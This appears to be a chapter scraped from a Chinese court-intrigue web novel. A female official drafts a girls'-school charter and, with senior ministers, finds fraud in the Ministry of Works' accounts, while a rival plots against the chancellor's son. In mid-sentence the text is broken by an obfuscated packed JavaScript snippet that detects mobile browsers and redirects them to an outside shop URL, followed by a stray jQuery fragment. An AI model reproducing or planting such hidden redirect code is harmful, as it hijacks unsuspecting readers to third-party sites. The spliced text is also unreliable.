去皇宫的路上,三人坐在马车上,花淳一直在吃惊。
“陛下为何让我们两个去文华殿写章程,那里不是皇帝批奏折就是给皇子念书讲学,我们……配吗?真是去写章程的?”
李烨乔闭目养神:“莫要胡乱猜测圣意,照做便好。”
赵瑾韶漠然:“花侍读放心,除了你,还有好几个朝中大员在,陛下大抵只是想让阿乔把这个章程写好而已。”
文华殿后殿便是主敬殿,太祖时期一般用作皇家宴席,李烨乔还是庆阳公主的时候,李明舟曾让大学士们在那里给她讲学,后来李烨乔出事,主敬殿除了接待外邦使者参观用,便再无其他用处。
几大箱子文书放入殿中,三人还没站定,李明舟便走了进来,身后还带着好几个身着绯红官服的官员,其中,还包括内阁首辅、花淳的爹花逊。
李明舟免礼后:“魏修撰此前提出今年推进建女子学堂事宜,朕认为此法甚好,撰写章程一事,朕交给魏修撰,但魏修撰涉世未深,诸多事宜尚不知晓,请众卿家全力协助她写好章程。”
同行的人里,除了花逊,还有工部右侍郎方追,户部尚书严敬,而耐人寻味地,还有刑部尚书安庆,大理寺卿祝远。
他们都是大雍文官中坚定支持李明舟的高官,刑部和大理寺都在,故而在场的宦海老将们都知晓了皇帝此举深意,均是拱手表示鼎力相助。
李明舟满意点头,又看向李烨乔,神情肃然:“魏修撰,朕给你这么多助力,便是想让你把此事办好,一月之内,朕要看到朕想看的东西,可做得到?”
若只是想拟个章程初稿,根本用不了一个月,根本没必要到主敬殿行事,她想要什么结果?李烨乔了然点头:“是,臣定不辱命。”
李明舟勾唇,又看向花淳:“听有谦说丹聪才思敏捷,总能想到些常人无法想象的事物,故而朕让你也留下,助魏修撰帮朕办好此事,可好?”
当个吉祥物的意思。
连花淳都听懂了,正欲发作,奈何亲爹出马:“臣替犬子谢过陛下隆恩!”
赵瑾韶自请守卫文华殿,李明舟却认为不妥,让他把令牌交给李烨乔,命其回去继续查庆阳公主的下落。
众人只心道果真母女情深,连赵瑾韶最近也因为这个魏乔小白脸逐渐走出来了,但身为母亲,她哪怕有小白脸慰藉,也依然念着自己的女儿。
近身在赵瑾韶身后的小甲和小木看着自家同知大人落寞走出主敬殿的背影,紧跟在他身后。
小甲突发奇想,诶?说起来,陛下会不会与赵同知同时爱上这个小白脸啊?
虽说男子喜欢男子不是正道,但赵同知的性子,若是喜欢上了,大概不会轻易放手。
镇国侯家里还有一子,给次子的赵瑾韶的限制想必少一些,毕竟侯爷的大公子在北方可谓战功赫赫,听闻还受了不少伤,侯爷也没有让其回京,但对赵瑾韶,本在冀州领兵的将军说回便回了。
如此想来,自家同知大人还是有不少机会的。
但,如果陛下也爱上了这个小白脸,赵同知能做的便也只有放手了。
小甲眼神不禁饱含同情。
至于赵瑾韶,他听不到属下的心声,只一味焦虑。
牌子不牌子倒是无所谓,给李烨乔也是应当的,但一想到李明舟说这一月每日会有专门车马接送李烨乔来回,也就是说这一个月他根本寻不到合适的理由找李烨乔,他便愁容满面。
二公子生气一般不迁怒部下,下属只能战战兢兢跟在他身后,行至一窄巷口,一个人的身影擦肩而过,赵瑾韶命部下继续巡逻,自己则立于巷口,看向巷中之人。
“万公子开个大乐坊,不好好挣钱,整日里窜东跑西做甚?”
万尘羽笑得从容:“当老板嘛,不用自己亲自下场挣钱的。”
赵瑾韶皱眉:“你在等人?”
“嗯,等她。”万尘羽下意识地把手中提的东西往身后挪了挪。
是他昨晚没能送出去的吃食点心,赵瑾韶记得那个纸包,他想说别等了她如今你见不着,但话到嘴边,又给吞了回去。
让着小子等着也无所谓,没有告知的义务。
于是赵瑾韶抬脚离开,往烈日下的人群中走去。
而万尘羽,他遁入窄巷的黑暗之中,进入一小屋,里面有三个黑衣人,见了万尘羽后纷纷下跪。
“少主。”
“嗯。”比方才的声音还要冰冷些,“可处理好了?”
为首的黑衣人是一个女子:“是,那几位翰林官员已经烦不了魏公子了。”
“哼。”万尘羽的嘴角露出冷笑,“就是得这样,先病,再死,一下子暴毙,会连累我表兄的。”
“是。”女子点头,“少主可还有其他吩咐?”
万尘羽靠在门上,思忖片刻:“用这事拖点人下水,比如……”
昏暗的房中,一只蜘蛛不知何时吐着丝掉到万尘羽眼前,他抬手弹去,蜘蛛重重撞在墙上,粉身碎骨。
“就那个宰相家的傻儿子好了。”
“是!”
三个黑衣人离去,万尘羽随手将那几个纸包扔在了巷中,点心尽数滚落,被路过的流浪猫狗啃食了去。
宏正五年五月二十五,李烨乔正式开始拟她为官生涯中的第一份章程。
工部右侍郎为她核算采买,户部尚书为她把控预算支出,内阁首辅为她的行文保驾护航,刑部尚书及大理寺卿为她规避律法问题,没事还能逗逗花淳。
嘿嘿,这配置,做什么都能成功的,虽然重臣们时不时会摆脸色,要不是陛下之命也没几个会赏脸陪一个小修撰拟什么章程。但多磨几次,人家一句话,也就能抵得上自己跑好几趟腿了。
写章程之余,她也和各大官员一起查阅工部的账册,慢慢抽丝剥茧中,众人便也发现了端倪。
其一,是一些账册黑墨覆盖于印章之上,也就是说,这张帐表,是先盖了印,再写的内容。如宏正三年的石料采买。
其二,是一些采买价格明显高于市
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896960|212569||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
价,比如宏正四年的檀木购置,按户部的核算,高出市价一倍多,明显有问题。
其三,是一些看一眼就知道不可能存在的支出,如大雍三年有一笔支出写的是“秦州勘测费用”,但据工部右侍郎说,大雍三年工部根本没有人去过秦州。
如此种种,桩桩件件,看得户部触目惊心,看得刑部与大理寺连声叹气。在场众人,大概除了花淳听着那些万两千两的数目毫无感觉,其他人皆是心惊肉跳。
花淳无所谓,他从小没缺过钱,喜欢什么看上什么自有人千方百计搞到后送过来,闲来逛街买什么也都是挑了就行,后续都是下人的事。
所以晚上他和花逊同车回府时,一直不知道亲爹在叹些什么气。
下车时同往常一样回自己的院子,又觉得想玩,叫上随侍家顺,两人从后门溜出花府。
自己已经许久没有正经在街上游玩了,直奔心心念念的玉器行,看到店家正在叫卖一只紫玻璃种玉镯,他立即加入了叫价的行列中。
店家是一百两黄金起卖,如今已经被各大贵人叫到了五百两,花淳打算漫不经心地一锤定音:“一千两!”
众人纷纷回首,识得他的人大呼:“原来是花小公子!”
“花小公子阔绰!”
“不愧是花小公子!”
享受着众人的夸赞,花淳挥挥手,让家顺去拿下镯子。
却只听堂中突然冒出一声:“一千一百两。”
声音浑厚,应是将近不惑的年纪,但花淳的位置没能看出到底是谁,只知道众人的视线均被吸引了过去,不过,在场似乎无人认识。
花淳来了气,怒喊:“一千两百两!”
“两千两!”那声音又喊道。
紫玻璃种属于上好的紫镯子,花淳确实喜欢,但家顺提醒太过铺张回去会挨老爷骂,故而他没有继续叫价,冷哼一声,随便那人了。
散场后,花淳被一陌生男子拦住,那男子恭敬地将一个锦盒递给花淳,花淳打开一看,正是那只紫玻璃种。
花淳不解发问:“这是?”
男子躬身:“花少爷,我家主子说,知晓花少爷喜玉,所以买下送您,只求少爷给个入雅间一叙的机会。”
玉器行旁边是一家酒楼,平日里热闹非凡,花淳看着盒中品相极好的镯子,心想吃一顿饭也未尝不可。
被男子带到雅间中,端坐在室内的男子转身,他轻轻向花淳点头:“好久不见,花小少爷。”
是周守廉。
花淳踏入房中,随意坐下:“也没多久,不过大人寻本公子何事?”
周守廉挥手,打扮花枝招展的侍女们入内,该奉茶的奉茶,该跳舞的跳舞。而后,他坐下:“来找花小少爷,自然是有要事相求,不知花小少爷可否看在这镯子的份上,听老夫一叙。”
花淳把玉镯摆在桌上,身子往后靠了靠,手自然地搭在扶手上,冲周守廉扬眉勾唇:“镯子本公子不一定收,不过本公子有兴趣听你究竟想说什么。”